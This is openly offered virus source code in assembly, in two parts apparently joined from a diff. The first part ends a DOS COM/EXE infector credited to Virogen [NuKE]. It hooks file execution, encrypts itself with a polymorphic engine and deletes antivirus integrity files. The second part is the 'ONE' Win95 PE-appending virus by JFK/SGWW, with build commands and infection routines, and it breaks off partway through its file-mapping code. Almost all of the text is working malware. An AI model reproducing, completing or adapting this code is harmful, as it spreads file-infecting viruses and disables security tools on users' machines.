push cx
|
||||
_ret: ret
|
||||
|
||||
exe_return:
|
||||
mov cx,ds ; calc. real CS
|
||||
add cx,10h
|
||||
add word ptr cs: [exe_jump+2+bp],cx
|
||||
int 3 ; fix prefetch
|
||||
db 0eah
|
||||
exe_jump dd 0
|
||||
is_exe db 0
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Main Infection Routine
|
||||
;
|
||||
infect_file:
|
||||
|
||||
push dx
|
||||
pop si
|
||||
|
||||
push ds
|
||||
xor ax,ax ; null ES
|
||||
mov es,ax
|
||||
lds ax,es: [24h*4] ; get INT 24h vector
|
||||
mov cs: old_24_off,ax ; save it
|
||||
mov cs: old_24_seg,ds
|
||||
mov es: [24h*4+2],cs ; install our handler
|
||||
mov es: [24h*4],offset new_24
|
||||
pop ds
|
||||
push es ; we'll need it later
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov ax,4300h ; get phile attribute
|
||||
int 21h
|
||||
mov ax,4301h ; null attribs
|
||||
push ax cx ; save AX-call/CX-attrib
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ; open the file
|
||||
int 21h
|
||||
jc dont_do
|
||||
|
||||
mov bx,ax ; get handle
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3fh ; Read first bytes of file
|
||||
mov cx,20h
|
||||
lea dx,org_bytes
|
||||
int 21h
|
||||
|
||||
call kill_anti_virus ; kill validation filez
|
||||
|
||||
cmp byte ptr org_bytes,'M'
|
||||
jz do_exe
|
||||
cmp byte ptr org_bytes,90h ; InVircible bait?
|
||||
jz close
|
||||
cmp byte ptr org_bytes+3,0
|
||||
jz close
|
||||
|
||||
mov is_exe,0
|
||||
|
||||
mov ax,5700h ; get time/date
|
||||
int 21h
|
||||
push cx dx
|
||||
|
||||
call offset_end
|
||||
push ax ; AX=end of file
|
||||
|
||||
lea si,start ; DS:SI=start of code to encrypt
|
||||
mov di,virus_size ; ES:DI=address for decryptor/
|
||||
push di ; encrypted code. (at heap)
|
||||
mov cx,virus_size ; CX=virus size
|
||||
mov dx,ax ; DX=EOF offset
|
||||
add dx,100h ; DX=offset decryptor will run from
|
||||
mov al,00001111b ; jmps,anti-tbscan, garbage, no CS:
|
||||
call _vice ; call engine!
|
||||
|
||||
pop dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
call offset_zero
|
||||
pop ax ; restore COM file size
|
||||
sub ax,3 ; calculate jmp offset
|
||||
mov word ptr new_jmp+1,ax
|
||||
|
||||
lea dx,new_jmp
|
||||
mov cx,4
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
pop dx cx ; pop date/time
|
||||
mov ax,5701h ; restore the mother fuckers
|
||||
int 21h
|
||||
|
||||
close:
|
||||
|
||||
pop cx ax ; restore attrib
|
||||
int 21h
|
||||
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
dont_do:
|
||||
pop es ; ES=0
|
||||
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
|
||||
mov es: [24h*4],ax
|
||||
mov es: [24h*4+2],ds
|
||||
|
||||
ret
|
||||
|
||||
do_exe:
|
||||
|
||||
cmp word ptr exe_header[12h],0 ; is checksum (in hdr) 0?
|
||||
jnz close
|
||||
cmp byte ptr exe_header[18h],52h ; pklite'd?
|
||||
jz exe_ok
|
||||
cmp byte ptr exe_header[18h],40h ; don't infect new format exe
|
||||
jge close
|
||||
exe_ok:
|
||||
push bx
|
||||
|
||||
mov ah,2ch ; grab a random number
|
||||
int 21h
|
||||
mov word ptr exe_header[12h],dx ; mark that it's us
|
||||
mov is_exe,1
|
||||
|
||||
les ax,dword ptr exe_header+14h ; Save old entry point
|
||||
mov word ptr ds: exe_jump, ax
|
||||
mov word ptr ds: exe_jump+2, es
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
call offset_end
|
||||
|
||||
push dx ax ; save file size DX:AX
|
||||
|
||||
mov bx, word ptr exe_header+8h ; calc. new entry point
|
||||
mov cl,4 ; *16
|
||||
shl bx,cl ; ^by shifting one byte
|
||||
sub ax,bx ; get actual file size-header
|
||||
sbb dx,0
|
||||
mov cx,10h ; divide AX/CX rDX
|
||||
div cx
|
||||
|
||||
mov word ptr exe_header+14h,dx
|
||||
mov word ptr exe_header+16h,ax
|
||||
mov rel_off,dx
|
||||
|
||||
pop ax ; AX:DX file size
|
||||
pop dx
|
||||
pop bx
|
||||
|
||||
mov cx,virus_size+10h ; calc. new size
|
||||
adc ax,cx
|
||||
|
||||
mov cl,9 ; calc new alloc (512)
|
||||
push ax
|
||||
shr ax,cl
|
||||
ror dx,cl
|
||||
stc
|
||||
adc dx,ax
|
||||
pop ax ; ax=size+virus
|
||||
and ah,1
|
||||
|
||||
mov word ptr exe_header+4h,dx
|
||||
mov word ptr exe_header+2h,ax
|
||||
|
||||
lea si,start ; DS:SI=start of code to encrypt
|
||||
mov di,virus_size ; ES:DI=address for decryptor and
|
||||
push di ; encrypted code (at heap)
|
||||
mov cx,virus_size ; CX=virus size
|
||||
mov dx,rel_off ; DX=offset decryptor will run from
|
||||
mov al,00001110b ; jmps,anti-tbscan,garbage, use CS:
|
||||
call _vice ; call engine!
|
||||
|
||||
pop dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
call offset_zero
|
||||
|
||||
mov cx,18h ; write fiXed header
|
||||
lea dx,exe_header
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
jmp close
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; set file ptr
|
||||
|
||||
offset_zero: ; self explanitory
|
||||
xor al,al
|
||||
jmp set_fp
|
||||
offset_end:
|
||||
mov al,02h
|
||||
set_fp:
|
||||
mov ah,42h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
ret
|
||||
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; Kill ANTI-VIR.DAT, CHKLIST.MS, CHKLIST.CPS, and Invircible's signature files
|
||||
;
|
||||
kill_anti_virus:
|
||||
push bx
|
||||
mov ah,1ah ; set DTA
|
||||
lea dx,ff_info
|
||||
int 21h
|
||||
mov cx,16h ; include all attribs
|
||||
lea dx,inv_spec
|
||||
mov ah,4eh
|
||||
int 21h ; findfirst
|
||||
jnc inv_loop
|
||||
jmp inv_done
|
||||
inv_loop:
|
||||
lea si,f_name
|
||||
push si
|
||||
mov dx,si
|
||||
cmp word ptr [si+4],'V-' ; ANTI-VIR.DAT?
|
||||
jz is_anti
|
||||
cmp word ptr [si+8],'SM' ; CHKLIST.MS?
|
||||
jz is_anti
|
||||
cmp word ptr [si+8],'PC' ; CHKLIST.CPS?
|
||||
jz is_anti
|
||||
cmp f_sizeh,0 ; high word set?
|
||||
jnz findnext
|
||||
cmp f_sizel,10000 ; > 10000 bytes?
|
||||
jg findnext
|
||||
mov ax,3d00h
|
||||
int 21h
|
||||
jc findnext
|
||||
xchg ax,bx
|
||||
mov ah,3fh
|
||||
mov cl,2
|
||||
lea dx,inv_word
|
||||
int 21h
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
mov ax,word ptr inv_word
|
||||
mov cl,4
|
||||
lea si,false_struct
|
||||
test_false: ; test for false positives
|
||||
cmp ax,[si]
|
||||
jz findnext
|
||||
inc si
|
||||
inc si
|
||||
loop test_false
|
||||
|
||||
xor al,ah ; xor first byte by second
|
||||
lea si,iv_struct
|
||||
mov cl,6
|
||||
test_iv: ; test if invircible
|
||||
cmp al,[si]
|
||||
jz is_anti
|
||||
inc si
|
||||
loop test_iv
|
||||
jmp findnext
|
||||
is_anti:
|
||||
mov ax,4301h ; reset attribs
|
||||
xor cx,cx
|
||||
int 21h
|
||||
mov ah,41h
|
||||
lea dx,f_name
|
||||
int 21h
|
||||
findnext:
|
||||
mov al,0 ; null out filename
|
||||
pop di ; di-> fname
|
||||
mov cl,13
|
||||
rep stosb
|
||||
mov ah,4fh
|
||||
int 21h
|
||||
jc inv_done
|
||||
jmp inv_loop
|
||||
inv_done:
|
||||
pop bx
|
||||
ret
|
||||
|
||||
inv_word dw 0
|
||||
inv_spec db '*.*',0
|
||||
iv_struct db 5Fh,1Bh,0C4h,17h,3Dh,8Ah ; Inv Positives
|
||||
false_struct dw 'ZM' ; EXE Header
|
||||
dw 'KP' ; PKZIP archive
|
||||
dw 0EA60h ; ARJ archive
|
||||
dw 'ER' ; REM in batch files
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; new 21h
|
||||
|
||||
new21:
|
||||
|
||||
pushf
|
||||
cmp ax,signal ; be it us?
|
||||
jnz nchk ; richtig..
|
||||
cmp dx,vsafe_word
|
||||
jnz nchk
|
||||
xor si,si
|
||||
mov di,4559h
|
||||
jmp jmp_org
|
||||
nchk: cmp ax,4b00h ; execute phile?
|
||||
jnz jmp_org
|
||||
|
||||
push ax bx cx di dx si ds es
|
||||
call infect_file
|
||||
pop es ds si dx di cx bx ax
|
||||
|
||||
jmp_org:
|
||||
popf
|
||||
db 0eah ; jump far XXXX:XXXX
|
||||
old21 dd 0
|
||||
|
||||
new_24: ; critical error handler
|
||||
mov al,3 ; prompts suck, return fail
|
||||
iret
|
||||
|
||||
|
||||
credits db 'One/Thirteenth, coded by ûirogen [NuKE]'
|
||||
new_jmp db 0E9h,0,0,0 ; jmp XXXX,0
|
||||
rel_off dw 0
|
||||
exe_header:
|
||||
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
|
||||
vend: ; end of virus on disk .. heap
|
||||
db 16h dup(0) ; remaining exe header space
|
||||
old_24_off dw 0 ; old int24h vector
|
||||
old_24_seg dw 0
|
||||
ff_info db 26 dup(0)
|
||||
f_sizel dw 0
|
||||
f_sizeh dw 0
|
||||
f_name db 13 dup(0)
|
||||
cseg ends
|
||||
end start
|
||||
|
|
@ -0,0 +1,701 @@
|
|||
|
||||
; ONE V1.0b By JFK/SGWW
|
||||
;
|
||||
;
|
||||
; ONE is not only my first Win95 virus, but also my first virus
|
||||
; which I have released. I'm not really all that proud of it,
|
||||
; cause it didn't turn out at all to be what I had expected. But hey,
|
||||
; maybe next time :) Hmmm, this virus really has no chance of
|
||||
; spreading because it never moves out of its current directory.
|
||||
; It's more or less just a learning experience.
|
||||
;
|
||||
; Features:
|
||||
; * File Mapping (though it's sorta pointless because off all
|
||||
; the normal reads)
|
||||
; * Capable of infecting read only files.
|
||||
; * Only increases a files size if it has to.
|
||||
; * LOTS O' COMMENTS!!!! :-)
|
||||
;
|
||||
; Description:
|
||||
; One will look in the current directory for *.exe files until
|
||||
; it finds one that it should/can infect or until there are no
|
||||
; more exe files. When a exe file is found, One reads in the PE
|
||||
; header, and object table. One closes the file and looks for
|
||||
; the next exe file if it determines the current file has already
|
||||
; been infected. If the file has not been infected, One figures
|
||||
; out all the new sizes of objects and stuff like that for the
|
||||
; host. One then maps the file to memory, fills in the new PE
|
||||
; header, object table, and appends the virus code to the end of
|
||||
; the last object. One then unmaps the file, and closes it which
|
||||
; automatically saves the changes made while mapped. One then
|
||||
; starts all over looking for more *.exe files, if one is not found,
|
||||
; control is given to the host's original entry point.
|
||||
;
|
||||
; Notes:
|
||||
; * ONE will NOT work on WinNT
|
||||
; * First generations crash. (because OldEA is 0)
|
||||
; * Some code was taken from Mr. Klunky by DV8 and Yurn by Virogen.
|
||||
;
|
||||
; Greetz:
|
||||
; Dakota: Your web page looks pretty nice!
|
||||
; #virus & #vir (undernet): hiya :)
|
||||
; SGWW: Thanx for accepting me as one of you.
|
||||
; paw: Watch out pal, I've been practicing my trivia!
|
||||
; RAiD: alt.comp.virus.raid-vs-avers??? :)
|
||||
; Yesna: Did you forget your password on X? You never have ops! =)
|
||||
; Opic: Did you find any good BBS's yet!?!? heheh
|
||||
; LovinGod: You need a book on winsock bro! ;)
|
||||
; Virogen: Ok, so this is not exactly the kernel infector I was talking about.
|
||||
; Gloomy: ne ebi mozgi! :))))
|
||||
;
|
||||
; Assemble with:
|
||||
; tasm32 -ml -m5 -q -zn one.asm
|
||||
; tlink32 -Tpe -c -x -aa one,,, import32
|
||||
; pewrsec one.exe
|
||||
|
||||
.386p
|
||||
.model flat
|
||||
|
||||
include Win32API.inc
|
||||
|
||||
v_size equ v_end - v_start ;Virus absolute size in filez.
|
||||
|
||||
|
||||
extrn ExitProcess :proc
|
||||
|
||||
.data
|
||||
db ? ;Some dummy data so tlink32 dont yell.
|
||||
|
||||
.code
|
||||
v_start:
|
||||
push eax ;Save room for old Entry Point.
|
||||
pushad ;Save registers.
|
||||
add esp, 36d ;ESP->After saved registers+4.
|
||||
|
||||
call OldTrick ;Get delta offset.
|
||||
OldTrick: pop ebp
|
||||
sub ebp, offset OldTrick ;EBP = delta offset.
|
||||
|
||||
mov eax, [ebp+OldEA] ;Address for return.
|
||||
push eax ;Save it.
|
||||
sub esp, 32d ;Fix stack.
|
||||
|
||||
mov eax, 15d
|
||||
mov [ebp+lpfGetProcAddress], eax
|
||||
|
||||
findK32PEHeader:
|
||||
mov edi, 0BFF6FFFFh ;Will be inc'ed later
|
||||
mov ecx, 00000300h ;Scan this many bytes.
|
||||
mov eax, 00004550h ;Scan for "PE\0\0".
|
||||
|
||||
F_PE_I_Edi:
|
||||
inc edi
|
||||
Find_PE:
|
||||
repne scasb ;Repeat while not equal, scan byte.
|
||||
jne RestoreHost ;Bomb if not found.
|
||||
|
||||
cmp [edi-1], eax ;Is this dword "PE/0/0"?
|
||||
jne Find_PE ;Nope, continue scanning.
|
||||
|
||||
dec edi ;EDI was +1 off from Repne Scasb
|
||||
mov bx, word ptr [edi+16h] ;Get characteristics word.
|
||||
and bx, 0F000h ;Unmask the bytes we need.
|
||||
cmp bx, 2000h ;Is it 2000h (a DLL)?
|
||||
jne F_PE_I_Edi ;It's not a Dll, so it cant be the Kernel.
|
||||
|
||||
mov eax, [edi+34h] ;EAX = Image Base (or Image Handle)
|
||||
mov [ebp+K32Base], eax ;Save Image base.
|
||||
mov ebx, [edi+78h] ;Get RVA of Export Table.
|
||||
add ebx, [ebp+K32Base] ;Add Base Address.
|
||||
mov edi, [ebx+20h] ;EDI=RVA Export Name Table Pointers.
|
||||
add edi, [ebp+K32Base] ;Add Base Address.
|
||||
|
||||
;Determine offset for unnamed functions.
|
||||
mov ecx, [ebx+14h] ;Number of functions...
|
||||
sub ecx, [ebx+18h] ;...less number of names...
|
||||
mov eax, 4 ;...times by four.
|
||||
mul ecx ;Do it.
|
||||
mov [ebp+UnnamedOffset], eax ;Save it.
|
||||
|
||||
;Calculate number of double words in string pointer array.
|
||||
mov ecx, [ebx+18h] ;Number of names...
|
||||
mov eax, 4 ;...times by four.
|
||||
mul ecx ;Do it.
|
||||
xchg ecx, eax ;CX=Num dwords.
|
||||
|
||||
mov edx, edi ;Mul fucked up EDX,EDX=start of array.
|
||||
|
||||
CheckFunctionName:
|
||||
sub ecx, 4 ;Next name.
|
||||
mov edi, edx ;Base address...
|
||||
add edi, ecx ;...plus array index.
|
||||
mov edi, [edi] ;Get RVA of name.
|
||||
add edi, [ebp+K32Base] ;Add base address.
|
||||
|
||||
lea esi, [ebp+lpfGetProcAddress] ;GetProcAddress record.
|
||||
lea eax, [ebp+lpfGetProcAddress] ;Save entry point here.
|
||||
call ExtractAbsoluteAddress ;Check this name for it.
|
||||
|
||||
cmp ecx, 0 ;Checked all the names?
|
||||
jne CheckFunctionName ;Nope. Check the next name.
|
||||
|
||||
cmp [ebp+lpfGetProcAddress], 00h ;Did we get it?
|
||||
je RestoreHost ;Nope! :(
|
||||
|
||||
;Get all of our needed API offsets from memory.
|
||||
lea esi, [ebp+ImportTable] ;Start of stucture for offsets.
|
||||
mov edx, esi ;Same.
|
||||
GFO_NextChar:
|
||||
mov bl, [edx] ;bl = next char in table.
|
||||
cmp bl, 0 ;Is it 0?
|
||||
je GFO_ItsZero ;Yeah.
|
||||
cmp bl, '-' ;Is it the end of the table?
|
||||
je After_GFO ;Yeah, continue.
|
||||
inc edx ;Next char.
|
||||
jmp GFO_NextChar ;Loop.
|
||||
GFO_ItsZero:
|
||||
inc edx ;EDX -> where offset will go.
|
||||
mov eax, esi ;EAX -> function name.
|
||||
push edx ;Save EDX.
|
||||
call MyGetProcAddress ;Get this function's offset.
|
||||
jc RestoreHost ;Quit on fail.
|
||||
pop edx ;Restore EDX.
|
||||
mov [edx], eax ;Save offset.
|
||||
add edx, 4 ;EDX -> next functions name.
|
||||
mov bl, [edx] ;BL = first char of name.
|
||||
cmp bl, '-' ;Are we done yet?
|
||||
je After_GFO ;Yep.
|
||||
mov esi, edx ;ESI -> Next functions name.
|
||||
inc edx ;Check next char.
|
||||
jmp GFO_NextChar ;Do it.
|
||||
After_GFO:
|
||||
|
||||
;Look for FIRST *.exe file.
|
||||
lea eax, [ebp+FoundFileData] ;Where to store results.
|
||||
push eax
|
||||
lea eax, [ebp+lpsExeFiles] ;Name of files to look for.
|
||||
push eax
|
||||
call [ebp+lpfFindFirstFileA] ;Direct API call.
|
||||
;On return, if a file with the name is found, eax = the handle,
|
||||
;otherwise eax=FFFFFFFF
|
||||
cmp eax, 0FFFFFFFFh ;No file found?
|
||||
je RestoreHost ;No more exe files in this folder.
|
||||
mov [ebp+FoundFileHandle], eax ;Save handle.
|
||||
|
||||
MainLoop:
|
||||
call ReadInPEHeader ;Read in the files PE header.
|
||||
cmp ebx, 0 ;Did we fail?
|
||||
je FindNextFile ;Next file on failure.
|
||||
|
||||
call SetNOAttribs ;Remove files attributes.
|
||||
jc FindNextFile ;Couldnt set attributes.
|
||||
|
||||
call OpenFile ;Open the file.
|
||||
jc FindNextFile ;Couldnt open file.
|
||||
|
||||
call MapFile ;Map this file into memory
|
||||
jc MapFailed ;Couldn't map file.
|
||||
|
||||
call InfectFile ;Infect it.
|
||||
|
||||
push dword ptr [ebp+MapBaseAddr]
|
||||
call [ebp+lpfUnmapViewOfFile] ;Unmap this file from memory.
|
||||
|
||||
MapFailed:
|
||||
call CloseFile ;Close the file.
|
||||
|
||||
call RestoreAttribs ;Restore the original attributes.
|
||||
|
||||
|
||||
FindNextFile:
|
||||
lea eax, [ebp+FoundFileData] ;Where to store results.
|
||||
push eax
|
||||
push dword ptr [ebp + offset FoundFileHandle]
|
||||
;Handle from previous searches.
|
||||
call [ebp+lpfFindNextFileA] ;Do it.
|
||||
or eax, eax ;Success?
|
||||
jnz MainLoop ;Yes, Continue search.
|
||||
|
||||
RestoreHost:
|
||||
popad
|
||||
ret
|
||||
|
||||
;***********************
|
||||
;****** Functions ******
|
||||
;***********************
|
||||
|
||||
;**** InfectFile ****
|
||||
|
||||
InfectFile PROC
|
||||
;Append virus code to end of last object.
|
||||
mov edx, [ebp+OldPhysSize] ;Physical size of object.
|
||||
add edx, [esi+20d] ;Physical offset of object.
|
||||
add edx, [ebp+MapBaseAddr] ;Plus of mapped object.
|
||||
|
||||
lea eax, v_start ;EAX = start of virus.
|
||||
add eax, ebp ;Plus delta offset.
|
||||
|
||||
mov ecx, v_size ;Number of bytes to write.
|
||||
call WriteMem ;write it.
|
||||
|
||||
;Write new object table to host.
|
||||
mov eax, [ebp+MapBaseAddr] ;EAX -> base of mapped object.
|
||||
add eax, 3Ch ;Offset of -> to PE header.
|
||||
mov eax, [eax] ;EAX -> PE header
|
||||
add eax, [ebp+MapBaseAddr] ;Add base of mapped object.
|
||||
add eax, 18h ;EAX -> AFTER flags field.
|
||||
xor edx, edx ;EDX = 0h
|
||||
mov dx, [ebp+NT_HDR_Size] ;EDX = Size of header.
|
||||
add edx, eax
|
||||
|
||||
lea eax, ObjectTable ;EAX -> new object table.
|
||||
add eax, ebp ;Add delta offset.
|
||||
|
||||
mov ecx, 240d ;Size of new object table.
|
||||
call WriteMem ;Write it.
|
||||
|
||||
;Write new PE header to host.
|
||||
mov edx, [ebp+MapBaseAddr] ;EDX -> base of mapped object.
|
||||
add edx, 3Ch ;Offset of -> to PE header.
|
||||
mov edx, [edx] ;EDX -> PE header
|
||||
add edx, [ebp+MapBaseAddr] ;Add base of mapped object.
|
||||
|
||||
lea eax, PE_Header ;EAX = offset of new PE header.
|
||||
add eax, ebp ;Plus delta offset.
|
||||
|
||||
mov ecx, 54h ;Size of new PE header.
|
||||
call WriteMem ;Write it.
|
||||
|
||||
ret
|
||||
InfectFile ENDP
|
||||
|
||||
;**** WriteMem ****
|
||||
|
||||
WriteMem PROC
|
||||
WM_NextByte:
|
||||
mov bl, [eax] ;Byte from virus.
|
||||
mov [edx], bl ;Write to host.
|
||||
dec ecx ;One less byte to write.
|
||||
inc eax ;Next virus byte.
|
||||
inc edx ;Next target byte.
|
||||
cmp ecx, 0 ;Did we write the whole virus?
|
||||
jne WM_NextByte ;Nope, do next byte.
|
||||
ret
|
||||
WriteMem ENDP
|
||||
|
||||
;**** ReadInPEHeader ****
|
||||
|
||||
ReadInPEHeader PROC
|
||||
call SetNOAttribs ;Needed for OpenFile.
|
||||
jc RIPH_Failed ;Couldnt remove attributes.
|
||||
call OpenFile ;Open the file.
|
||||
jc RIPH_Failed ;Couldnt open this file.
|
||||
|
||||
;Move file pointer to where the offset to PE should be.
|
||||
push 0 ;FILE_BEGIN = 00000000h
|
||||
push 0 ;High order 32 bits to move.
|
||||
mov eax, 3Ch ;-> offset of PE header.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
|
||||
call [ebp+lpfSetFilePointer] ;Set the file pointer.
|
||||
|
||||
;Read in offset of PE header in file.
|
||||
push 0
|
||||
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
|
||||
push eax
|
||||
push 4 ;# of bytes to read.
|
||||
lea eax, [ebp+DataFromFile] ;Buffer for read.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to read from.
|
||||
call [ebp+lpfReadFile] ;Read from file.
|
||||
|
||||
;Move the file pointer to the PE header.
|
||||
push 0 ;FILE_BEGIN = 00000000h
|
||||
push 0 ;High order 32 bits of move.
|
||||
mov eax, [ebp+DataFromFile] ;Offset of PE header.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
|
||||
call [ebp+lpfSetFilePointer] ;Set the file pointer.
|
||||
|
||||
;Read in the PE header.
|
||||
push 0
|
||||
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
|
||||
push eax
|
||||
push 54h ;# of bytes to read.
|
||||
lea eax, [ebp+PE_Header] ;Buffer for read.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to read from.
|
||||
call [ebp+lpfReadFile] ;Read from file.
|
||||
|
||||
;Do some checks.
|
||||
mov eax, [ebp+FileBytesRead] ;# of bytes read.
|
||||
cmp eax, 54h ;Did we read in enough?
|
||||
jne RIPH_Failed ;Nope.
|
||||
mov eax, [ebp+Reserved9] ;EAX = infection marker.
|
||||
cmp eax, 0h ;Is it infected already?
|
||||
jne RIPH_Failed ;Yes.
|
||||
mov ax, word ptr [ebp+Sig_Bytes] ;PE signature.
|
||||
cmp ax, 'EP' ;Is this a PE file?
|
||||
jne RIPH_Failed ;Nope.
|
||||
mov ax, [ebp+NumbOfObjects] ;Number of objects in file.
|
||||
cmp ax, 6 ;Too many objects?
|
||||
ja RIPH_Failed ;Yep
|
||||
|
||||
;Move file pointer to object table in file.
|
||||
push 0 ;FILE_BEGIN = 00000000h
|
||||
push 0 ;High order 32 bits of move.
|
||||
xor eax, eax
|
||||
mov ax, [ebp+NT_HDR_Size] ;NT header size.
|
||||
add eax, [ebp+DataFromFile] ;Plus offset to PE header.
|
||||
add eax, 18h ;AFTER flags field in header.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to fuck with.
|
||||
call [ebp+lpfSetFilePointer] ;Set the file pointer.
|
||||
|
||||
;Read in object table.
|
||||
push 0
|
||||
lea eax, [ebp+FileBytesRead] ;Place to store # of bytes read.
|
||||
push eax
|
||||
push 240d ;# of bytes to read.
|
||||
lea eax, [ebp+ObjectTable] ;Buffer for read.
|
||||
push eax
|
||||
push dword ptr [ebp+OpenFileHandle] ;File to read from.
|
||||
call [ebp+lpfReadFile] ;Read from file.
|
||||
|
||||
;Do some checks.
|
||||
mov eax, [ebp+FileBytesRead] ;# of bytes read.
|
||||
cmp eax, 240d ;Did we read enough?
|
||||
jne RIPH_Failed ;Nope.
|
||||
|
||||
;Save Original entry point.
|
||||
mov eax, [ebp+ImageBase] ;Files base address
|
||||
add eax, [ebp+EntryPointRVA] ;Plus entrypoint RVA.
|
||||
mov [ebp+OldEA], eax ;Save it.
|
||||
|
||||
;** Figure out sizes for object and size of file **
|
||||
|
||||
;Get offset to DATA of the object we will infect.
|
||||
xor eax, eax
|
||||
mov ax, [ebp+NumbOfObjects] ;Number of objects.
|
||||
dec eax ;We want last object.
|
||||
mov ecx, 40 ;Each object 40 bytes
|
||||
xor edx, edx
|
||||
mul ecx ;#OfObj-1*40=last object.
|
||||
lea esi, [ebp+ObjectTable] ;ESI -> object table.
|
||||
add esi, eax ;ESI = ptr to last Object Entry.
|
||||
|
||||
;Set new physical size for object.
|
||||
mov ecx, dword ptr [ebp+FileAlign] ;Get file alignment.
|
||||
mov eax, [esi+16d] ;Get physical size of object.
|
||||
mov [ebp+OldPhysSize], eax ;Save it.
|
||||
push eax ;Save for figuring new entry point.
|
||||
add eax, v_size ;Size of virus.
|
||||
call AlignFix ;Figure new size.
|
||||
mov dword ptr [esi+16d], eax ;Set new physical size.
|
||||
|
||||
;Set new virtual size for object.
|
||||
mov ecx, dword ptr [ebp+ObjectAlign] ;Get object alignment.
|
||||
push ecx ;Save for below.
|
||||
mov eax, [esi+8] ;Get object virtual size.
|
||||
add eax, v_size ;Add our virtual size.
|
||||
call AlignFix ;Set on obj alignment.
|
||||
mov dword ptr [esi+8], eax ;Set new virtual size.
|
||||
|
||||
mov [esi+36d], 0C0000040h ; set object flags
|
||||
|
||||
;Set new image size.
|
||||
pop ecx ;ECX = object alignment vlaue.
|
||||
mov eax, v_size ;EAX = size of virus.
|
||||
add eax, dword ptr [ebp+ImageSize] ;add to old image size
|
||||
call AlignFix ;Figure new size.
|
||||
mov [ebp+ImageSize], eax ;Set new ImageSize.
|
||||
|
||||
;Set new entrypoint.
|
||||
pop eax ;EAX = physical size of infected object.
|
||||
add eax, [esi+12d] ;Add objects RVA.
|
||||
mov [ebp+EntryPointRVA], eax ;Set new entrypoint.
|
||||
|
||||
;** Figure new physical size for mapping. **
|
||||
|
||||
;Get files size.
|
||||
push 0
|
||||
push dword ptr [ebp+OpenFileHandle] ;Handle of file.
|
||||
call [ebp+lpfGetFileSize] ;Get the files size in bytes.
|
||||
mov [ebp+SizeOfHost], eax ;Save size.
|
||||
mov [ebp+Reserved9], eax ;Mark as infected.
|
||||
|
||||
;Figure new size.
|
||||
mov ebx, [esi+16d] ;Object physical size.
|
||||
add ebx, [esi+20d] ;Add physical offset of object.
|
||||
cmp ebx, eax ;Which is larger?
|
||||
ja RIPH_NewSize ;File size should be larger.
|
||||
|
||||
jmp RIPH_Done ;Return success.
|
||||
|
||||
RIPH_NewSize:
|
||||
mov ecx, [ebp+FileAlign] ;File align value
|
||||
mov eax, ebx ;Size now.
|
||||
call AlignFix ;Figure new size.
|
||||
mov [ebp+SizeOfHost], eax ;Save new size.
|
||||
jmp RIPH_Done
|
||||
|
||||
RIPH_Failed:
|
||||
xor ebx, ebx ;Mark failure.
|
||||
|
||||
RIPH_Done:
|
||||
call CloseFile ;Close the file.
|
||||
call RestoreAttribs ;Restore its attributes.
|
||||
ret
|
||||
ReadInPEHeader ENDP
|
||||
|
||||
;**** SetNOAttribs ****
|
||||
;This function first saves a files attributes to OrigFileAttribs,
|
||||
;then sets the files attributes to "normal" so that the file can
|
||||
;be written to. On errors, the carry flag is set.
|
||||
|
||||
SetNOAttribs PROC
|
||||
;Get the files attributes.
|
||||
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||||
push eax ;Push found files name.
|
||||
call [ebp+lpfGetFileAttributesA]
|
||||
mov [ebp+OrigFileAttribs], eax ;Save original file attribs.
|
||||
|
||||
;Set file attributes to none so we can write to it if needed.
|
||||
mov eax, FILE_ATTRIBUTE_NORMAL ;Give the file "normal" attribs
|
||||
push eax
|
||||
lea eax, [ebp+FoundFileData.WFD_szFileName]
|
||||
push eax ;Push files name to stack.
|
||||
call [ebp+lpfSetFileAttributesA] ;Set the attributes.
|
||||
ret
|
||||
SetNOAttribs ENDP
|
||||
|
||||
;**** MapFile ****
|
||||
;This proc gets a files(file in FileFoundData) size, creates a mapped
|
||||
;object of the size needed, then maps the file into the object created.
|
||||
;Carry flag is set on errors.
|
||||
|
||||
MapFile PROC
|
||||
|
||||
;Create File mapping object.
|
||||
push 0 ;Dont need a name.
|
||||
mov eax, [ebp+SizeOfHost] ;Size of object.
|
||||
push eax
|
||||
push 0 ;Not used.
|
||||
push PAGE_READWRITE ;We need read+write access.
|
||||
push 0 ;Default security.
|
||||
